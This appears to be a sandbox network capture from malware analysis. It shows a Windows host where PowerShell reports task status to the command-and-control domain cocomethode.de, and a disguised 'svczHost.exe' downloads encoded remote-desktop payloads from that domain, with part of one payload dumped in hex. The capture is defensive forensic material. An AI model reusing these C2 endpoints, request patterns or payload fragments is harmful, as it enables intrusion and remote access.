2024-12-11 11:29:57 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 38 31 38 26 6d 69 6e 5f 72 74 74 3d 31 31 33 37 38 35 26 72 74 74 5f 76 61 72 3d 32 34 30 36 30 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 35 26 72 65 63 76 5f 62 79 74 65 73 3d 31 31 34 35 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 36 31 35 26 63 77 6e 64 3d 32 34 31 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 38 36 61 30 38 37 34 39 33 64 35 66 35 30 64 61 26 74 73 3d 36 32 36 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113818&min_rtt=113785&rtt_var=24060&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1145&delivery_rate=33615&cwnd=241&unsent_bytes=0&cid=86a087493d5f50da&ts=626&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.30	49758	172.67.128.139	443	8856	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:29:57 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596baed51283ed5b95f84aa14c94ff343224b HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 97
2024-12-11 11:29:57 UTC	97	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 44 65 74 65 6c 65 20 46 69 6c 65 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 61 64 64 20 74 61 73 6b 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Detele File C:\\\\Windows\\\\Temp\\\\file\"", "\"add task\"", "----------"]
2024-12-11 11:29:57 UTC	1194	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:29:57 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CexDH7vZttKlqR0WO8k2OIGWV4mLolRSLQrFCfhYlVvav9OkJ1oWN9aTfMSaZp86bB%2B5rNGp4O8QGWeYRYSNGwVU2jpoesy4WJosuM0dShxsfaZ3%2BsGiHTSo6Hex9lQlg6WlQuo2x5vo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8914&min_rtt=1600&rtt_var=15228&sent=5&recv=7&lost=0&retrans=0&sent_bytes=753&recv_bytes=1893&delivery_rate=24287&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0523ce3aae6746-ATL server-timing: cfL4;desc="?proto=TCP&rtt=48&min_rtt=43&rtt_var=14&sent=10&recv=12&lost=0&retrans=0&sent_bytes=23806&recv_bytes=1857&delivery_rate=1393255319&cwnd=229&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113786&min_rtt=113727&rtt_var=24093&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1041&delivery_rate=33592&cwnd=252&unsent_bytes=0&cid=9497c7e03e2c8dfa&ts=596&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.30	49759	172.67.128.139	443	8856	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:30:00 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596baed51283ed5b95f84aa14c94ff343224b HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 64
2024-12-11 11:30:00 UTC	64	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 72 75 6e 20 74 61 73 6b 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 6b 65 74 20 74 68 75 63 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"run task\"", "\"ket thuc\"", "----------"]
2024-12-11 11:30:00 UTC	1197	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:30:00 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OVY3WB%2FjrJ8q3xYuF0Z5BAyTBBX%2Bm80ycWINzKmlOTKcc5Ep9xgBMosiU1fkRj11JymRNGoovVLd1nDzN2aCN4AdszDsaWo3ATzxnElcGpOyiakAB7RwQrTuxS8WcwI6oxXGzYtaydl4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=15717&min_rtt=1600&rtt_var=25028&sent=8&recv=10&lost=0&retrans=0&sent_bytes=1512&recv_bytes=2805&delivery_rate=24287&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0523df58e0bfb6-ATL server-timing: cfL4;desc="?proto=TCP&rtt=28&min_rtt=19&rtt_var=13&sent=338&recv=309&lost=0&retrans=0&sent_bytes=8381372&recv_bytes=3713&delivery_rate=3446473684&cwnd=99&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=43&min_rtt=18&rtt_var=10&sent=316&recv=299&lost=0&retrans=0&sent_bytes=8381219&recv_bytes=3025&delivery_rate=3637944444&cwnd=119&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:30:00 UTC	859	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 35 26 6d 69 6e 5f 72 74 74 3d 32 34 26 72 74 74 5f 76 61 72 3d 31 33 26 73 65 6e 74 3d 31 33 26 72 65 63 76 3d 31 35 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 36 35 31 39 26 72 65 63 76 5f 62 79 74 65 73 3d 32 33 31 31 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 32 37 32 38 34 35 38 33 33 33 26 63 77 6e 64 3d 31 31 38 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=45&min_rtt=24&rtt_var=13&sent=13&recv=15&lost=0&retrans=0&sent_bytes=26519&recv_bytes=2311&delivery_rate=2728458333&cwnd=118&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.30	49763	172.67.128.139	443	3548	C:\Windows\Temp\svczHost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:30:38 UTC	64	OUT	GET /StaticFile/RdpService/46 HTTP/1.1 Host: cocomethode.de
2024-12-11 11:30:38 UTC	1162	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:30:38 GMT Content-Type: application/octet-stream Content-Length: 9429504 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image hash: 5641F3A5B9787F23D3D34F0D9F791B7A CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U4S%2BgMGg2LvH5b%2Fi9Bn83Qt87BV1KM4rwjWtrtH8OIZBihiIazZf1nw6bWk32URJ262zQmJ%2Fkr06Qd%2BJ7SLNHMd7EbWtsX7D4%2B%2BsUW%2FLwff4%2BOzztK9ZA7wfQUNcudoJ%2FEuZ96nKlV8t"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=39152&min_rtt=1050&rtt_var=26929&sent=4027&recv=1849&lost=0&retrans=0&sent_bytes=5647385&recv_bytes=60780&delivery_rate=47791366&cwnd=216&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0524ccb926b053-ATL server-timing: cfL4;desc="?proto=TCP&rtt=69&min_rtt=51&rtt_var=20&sent=20&recv=22&lost=0&retrans=0&sent_bytes=12395&recv_bytes=4223&delivery_rate=1283980392&cwnd=131&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:30:38 UTC	219	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 37 39 38 26 6d 69 6e 5f 72 74 74 3d 31 31 33 37 36 38 26 72 74 74 5f 76 61 72 3d 32 34 30 34 36 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 35 26 72 65 63 76 5f 62 79 74 65 73 3d 37 30 32 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 36 34 30 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 34 35 65 35 61 37 62 38 31 38 66 62 32 61 30 33 26 74 73 3d 36 33 32 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113798&min_rtt=113768&rtt_var=24046&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=702&delivery_rate=33640&cwnd=252&unsent_bytes=0&cid=45e5a7b818fb2a03&ts=632&x=0"
2024-12-11 11:30:38 UTC	1357	IN	Data Raw: 63 74 be 2e 2d 2e 2e 2e 2a 2e 2e 2e d1 d1 2e 2e 96 2e 2e 2e 2e 2e 2e 2e 6e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2f 2e 2e 20 31 94 20 2e 9a 27 e3 0f 96 2f 62 e3 0f 7a 46 47 5d 0e 5e 5c 41 49 5c 4f 43 0e 4d 4f 40 40 41 5a 0e 4c 4b 0e 5c 5b 40 0e 47 40 0e 6a 61 7d 0e 43 41 4a 4b 00 23 23 24 0a 2e 2e 2e 2e 2e 2e 2e c0 c3 18 0e 84 a2 76 5d 84 a2 76 5d 84 a2 76 5d 8d da e5 5d 8a a2 76 5d f4 23 77 5c 93 a2 76 5d 84 a2 77 5d 02 a3 76 5d 94 26 75 5c 97 a2 76 5d 94 26 72 5c bd a2 76 5d cc 27 73 5c 87 a2 76 5d f4 23 72 5c 86 a2 76 5d 84 a2 76 5d 85 a2 76 5d 94 26 73 5c f2 a2 76 5d cc 27 76 5c 85 a2 76 5d cc 27 74 5c 85 a2 76 5d 7c 47 4d 46 84 a2 76 5d 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e Data Ascii: ct.-...*............n..................................../.. 1 .'/bzFG]^\AI\OCMO@@AZLK\[@G@ja}CAJK##$.......v]v]v]]v]#w\v]w]v]&u\v]&r\v]'s\v]#r\v]v]v]&s\v]'v\v]'t\v]\|GMFv]...............
2024-12-11 11:30:38 UTC	1369	IN	Data Raw: 66 ad 17 2e 5b 2f ed 66 a5 fe c7 6a f7 06 2e 66 a3 2b eb a1 76 2e 66 a3 23 98 a1 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 09 f7 06 2e 66 a3 2b 96 a1 76 2e 66 a3 23 87 a1 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 24 f7 06 2e 66 a3 2b 85 a1 76 2e 66 a3 23 b2 a1 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 c3 f6 06 2e 66 a3 2b b0 a1 76 2e 66 a3 23 a1 a1 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 fe f6 06 2e 66 a3 2b 97 a1 76 2e 66 a3 23 84 a1 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 9d f6 06 2e 66 a3 2b 92 a1 76 2e 66 a3 23 83 a1 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 b8 f6 06 2e 66 a3 2b 99 a1 76 2e 66 a3 23 86 a1 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 57 f6 06 2e 66 a3 2b 84 a1 76 2e 66 a3 23 b5 a1 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 72 f6 06 2e 66 a3 2b 83 a1 76 2e 66 Data Ascii: f.[/fj.f+v.f#v.f.[/f.f+v.f#v.f.[/f$.f+v.f#v.f.[/f.f+v.f#v.f.[/f.f+v.f#v.f.[/f.f+v.f#v.f.[/f.f+v.f#v.f.[/fW.f+v.f#v.f.[/fr.f+v.f
2024-12-11 11:30:38 UTC	1369	IN	Data Raw: ed 66 a5 fe c7 df fd 06 2e 66 a3 2b e4 bf 76 2e 66 a3 23 95 bf 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 fa fd 06 2e 66 a3 2b eb bf 76 2e 66 a3 23 98 bf 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 99 fd 06 2e 66 a3 2b fe bf 76 2e 66 a3 23 ef bf 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 b4 fd 06 2e 66 a3 2b f5 bf 76 2e 66 a3 23 e2 bf 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 53 fd 06 2e 66 a3 2b f0 bf 76 2e 66 a3 23 e1 bf 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 4e fd 06 2e 66 a3 2b c7 bf 76 2e 66 a3 23 f4 bf 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 6d fd 06 2e 66 a3 2b 22 bc 76 2e 66 a3 23 d3 bf 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 08 fd 06 2e 66 a3 2b 19 bc 76 2e 66 a3 23 06 bc 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 27 fd 06 2e 66 a3 2b 7c bc 76 2e 66 a3 23 6d bc 76 2e Data Ascii: f.f+v.f#v.f.[/f.f+v.f#v.f.[/f.f+v.f#v.f.[/f.f+v.f#v.f.[/fS.f+v.f#v.f.[/fN.f+v.f#v.f.[/fm.f+"v.f#v.f.[/f.f+v.f#v.f.[/f'.f+\|v.f#mv.
2024-12-11 11:30:38 UTC	1369	IN	Data Raw: e0 06 2e 66 a3 2b 69 ba 76 2e 66 a3 23 16 ba 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 af e0 06 2e 66 a3 2b ac bb 76 2e 66 a3 23 5d bb 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 4a e0 06 2e 66 a3 2b 93 8f 76 2e 66 a3 23 80 8f 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 69 e0 06 2e 66 a3 2b a6 8c 76 2e 66 a3 23 57 8c 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 04 e0 06 2e 66 a3 2b 55 21 88 2e 66 a5 2e 66 a3 23 7f ad 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 c4 e3 06 2e 66 a3 2b 45 21 88 2e 66 a5 2e 66 a3 23 17 ad 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 e4 e3 06 2e 66 a3 2b 7d 21 88 2e 66 a5 2e 66 a3 23 0f ad 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 84 e3 06 2e 66 a3 2b 6d 21 88 2e 66 a5 2e 66 a3 23 27 ad 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 a4 e3 06 2e 66 a3 2b 7d 21 88 2e 66 Data Ascii: .f+iv.f#v.f.[/f.f+v.f#]v.f.[/fJ.f+v.f#v.f.[/fi.f+v.f#Wv.f.[/f.f+U!.f.f#v.f.[/f.f+E!.f.f#v.f.[/f.f+}!.f.f#v.f.[/f.f+m!.f.f#'v.f.[/f.f+}!.f
2024-12-11 11:30:38 UTC	1369	IN	Data Raw: 2b 85 23 88 2e 66 a5 2e 66 a3 23 ef ac 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 24 e7 06 2e 66 a3 2b b5 23 88 2e 66 a5 2e 66 a3 23 87 ac 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 c4 e6 06 2e 66 a3 2b ad 23 88 2e 66 a5 2e 66 a3 23 bf ac 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 e4 e6 06 2e 66 a3 2b 45 23 88 2e 66 a5 2e 66 a3 23 57 ac 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 84 e6 06 2e 66 a3 2b 75 23 88 2e 66 a5 2e 66 a3 23 47 ac 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 a4 e6 06 2e 66 a3 2b 65 23 88 2e 66 a5 2e 66 a3 23 7f ac 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 44 e6 06 2e 66 a3 2b 15 23 88 2e 66 a5 2e 66 a3 23 17 ac 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 64 e6 06 2e 66 a3 2b 0d 23 88 2e 66 a5 2e 66 a3 23 0f ac 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 04 e6 06 2e 66 Data Ascii: +#.f.f#v.f.[/f$.f+#.f.f#v.f.[/f.f+#.f.f#v.f.[/f.f+E#.f.f#Wv.f.[/f.f+u#.f.f#Gv.f.[/f.f+e#.f.f#v.f.[/fD.f+#.f.f#v.f.[/fd.f+#.f.f#v.f.[/f.f
2024-12-11 11:30:38 UTC	1369	IN	Data Raw: c7 e4 ed 06 2e 66 a3 2b ed 24 88 2e 66 a5 2e 66 a3 23 77 51 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 84 ed 06 2e 66 a3 2b ed 24 88 2e 66 a5 2e 66 a3 23 6f 51 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 a4 ed 06 2e 66 a3 2b 85 24 88 2e 66 a5 2e 66 a3 23 07 51 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 44 ed 06 2e 66 a3 2b bd 24 88 2e 66 a5 2e 66 a3 23 3f 51 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 64 ed 06 2e 66 a3 2b 55 24 88 2e 66 a5 2e 66 a3 23 d7 50 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 04 ed 06 2e 66 a3 2b 4d 24 88 2e 66 a5 2e 66 a3 23 cf 50 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 24 ed 06 2e 66 a3 2b 65 24 88 2e 66 a5 2e 66 a3 23 e7 50 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 c4 ec 06 2e 66 a3 2b 1d 24 88 2e 66 a5 2e 66 a3 23 9f 50 76 2e 66 ad 17 2e 5b 2f ed 66 a5 Data Ascii: .f+$.f.f#wQv.f.[/f.f+$.f.f#oQv.f.[/f.f+$.f.f#Qv.f.[/fD.f+$.f.f#?Qv.f.[/fd.f+U$.f.f#Pv.f.[/f.f+M$.f.f#Pv.f.[/f$.f+e$.f.f#Pv.f.[/f.f+$.f.f#Pv.f.[/f
2024-12-11 11:30:38 UTC	1369	IN	Data Raw: 2e 5b 2f ed 66 a5 fe c7 44 90 06 2e 66 a3 2b d5 29 88 2e 66 a5 2e 66 a3 23 3f 50 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 64 90 06 2e 66 a3 2b cd 29 88 2e 66 a5 2e 66 a3 23 27 50 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 04 90 06 2e 66 a3 2b f5 29 88 2e 66 a5 2e 66 a3 23 2f 50 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 24 90 06 2e 66 a3 2b ed 29 88 2e 66 a5 2e 66 a3 23 57 50 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 c4 93 06 2e 66 a3 2b 85 29 88 2e 66 a5 2e 66 a3 23 5f 50 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 e4 93 06 2e 66 a3 2b bd 29 88 2e 66 a5 2e 66 a3 23 4f 50 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 84 93 06 2e 66 a3 2b a5 29 88 2e 66 a5 2e 66 a3 23 67 50 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 a4 93 06 2e 66 a3 2b 55 29 88 2e 66 a5 2e 66 a3 23 17 50 76 2e 66 ad Data Ascii: .[/fD.f+).f.f#?Pv.f.[/fd.f+).f.f#'Pv.f.[/f.f+).f.f#/Pv.f.[/f$.f+).f.f#WPv.f.[/f.f+).f.f#_Pv.f.[/f.f+).f.f#OPv.f.[/f.f+).f.f#gPv.f.[/f.f+U).f.f#Pv.f
2024-12-11 11:30:38 UTC	1369	IN	Data Raw: 8f 55 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 24 97 06 2e 66 a3 2b 5d 28 88 2e 66 a5 2e 66 a3 23 a7 55 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 c4 96 06 2e 66 a3 2b 75 28 88 2e 66 a5 2e 66 a3 23 5f 55 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 e4 96 06 2e 66 a3 2b 6d 28 88 2e 66 a5 2e 66 a3 23 77 55 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 84 96 06 2e 66 a3 2b 05 28 88 2e 66 a5 2e 66 a3 23 6f 55 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 a4 96 06 2e 66 a3 2b 3d 28 88 2e 66 a5 2e 66 a3 23 07 55 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 44 96 06 2e 66 a3 2b d5 2b 88 2e 66 a5 2e 66 a3 23 3f 55 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 64 96 06 2e 66 a3 2b 0d 28 88 2e 66 a5 2e 66 a3 23 d7 54 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 04 96 06 2e 66 a3 2b 6d 28 88 2e 66 a5 2e 66 a3 Data Ascii: Uv.f.[/f$.f+](.f.f#Uv.f.[/f.f+u(.f.f#_Uv.f.[/f.f+m(.f.f#wUv.f.[/f.f+(.f.f#oUv.f.[/f.f+=(.f.f#Uv.f.[/fD.f++.f.f#?Uv.f.[/fd.f+(.f.f#Tv.f.[/f.f+m(.f.f
2024-12-11 11:30:38 UTC	1369	IN	Data Raw: 2e 66 a5 2e 66 a3 23 ff 59 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 84 9d 06 2e 66 a3 2b b5 2d 88 2e 66 a5 2e 66 a3 23 97 59 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 a4 9d 06 2e 66 a3 2b ad 2d 88 2e 66 a5 2e 66 a3 23 8f 59 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 44 9d 06 2e 66 a3 2b ad 2d 88 2e 66 a5 2e 66 a3 23 9f 59 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 64 9d 06 2e 66 a3 2b 45 2d 88 2e 66 a5 2e 66 a3 23 b7 59 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 04 9d 06 2e 66 a3 2b 75 2d 88 2e 66 a5 2e 66 a3 23 bf 59 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 24 9d 06 2e 66 a3 2b 6d 2d 88 2e 66 a5 2e 66 a3 23 57 59 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 c4 9c 06 2e 66 a3 2b 05 2d 88 2e 66 a5 2e 66 a3 23 4f 59 76 2e 66 ad 17 2e 5b 2f ed 66 a5 fe c7 e4 9c 06 2e 66 a3 2b 3d 2d Data Ascii: .f.f#Yv.f.[/f.f+-.f.f#Yv.f.[/f.f+-.f.f#Yv.f.[/fD.f+-.f.f#Yv.f.[/fd.f+E-.f.f#Yv.f.[/f.f+u-.f.f#Yv.f.[/f$.f+m-.f.f#WYv.f.[/f.f+-.f.f#OYv.f.[/f.f+=-

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.11.30	49768	172.67.128.139	443

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:31:27 UTC	71	OUT	GET /StaticFile/TermServiceTryRun/84 HTTP/1.1 Host: cocomethode.de
2024-12-11 11:31:28 UTC	1361	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:31:28 GMT Content-Type: application/octet-stream Content-Length: 2183168 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image hash: BFF2365257251B6BA227A5E748DBD62E CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EPiphcwgH9REaPez0qTEAfXYc1rpdwL93%2FWYAG91QAEatI%2F1jloXeOOOadZGIWUlKCQIfjFmTn0Br13K%2FEkkRdK8EpV7jU4FSrLDzFBMWTLn6QdODOqLidBjdg61WsLDCli8zxBFYllR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=37661&min_rtt=1182&rtt_var=23619&sent=44&recv=55&lost=0&retrans=0&sent_bytes=12788&recv_bytes=33731&delivery_rate=2375915&cwnd=211&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f052602bf5c53c3-ATL server-timing: cfL4;desc="?proto=TCP&rtt=91&min_rtt=20&rtt_var=33&sent=368&recv=323&lost=0&retrans=0&sent_bytes=9430637&recv_bytes=659&delivery_rate=3274150000&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=52&min_rtt=14&rtt_var=19&sent=369&recv=330&lost=0&retrans=0&sent_bytes=9430834&recv_bytes=645&delivery_rate=382389846&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:31:28 UTC	219	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 39 34 33 26 6d 69 6e 5f 72 74 74 3d 31 31 33 38 37 39 26 72 74 74 5f 76 61 72 3d 32 34 30 36 33 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 36 26 72 65 63 76 5f 62 79 74 65 73 3d 37 30 39 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 36 31 33 26 63 77 6e 64 3d 32 35 30 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 65 35 30 33 35 66 66 35 62 32 66 35 39 66 35 37 26 74 73 3d 36 34 32 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113943&min_rtt=113879&rtt_var=24063&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=709&delivery_rate=33613&cwnd=250&unsent_bytes=0&cid=e5035ff5b2f59f57&ts=642&x=0"
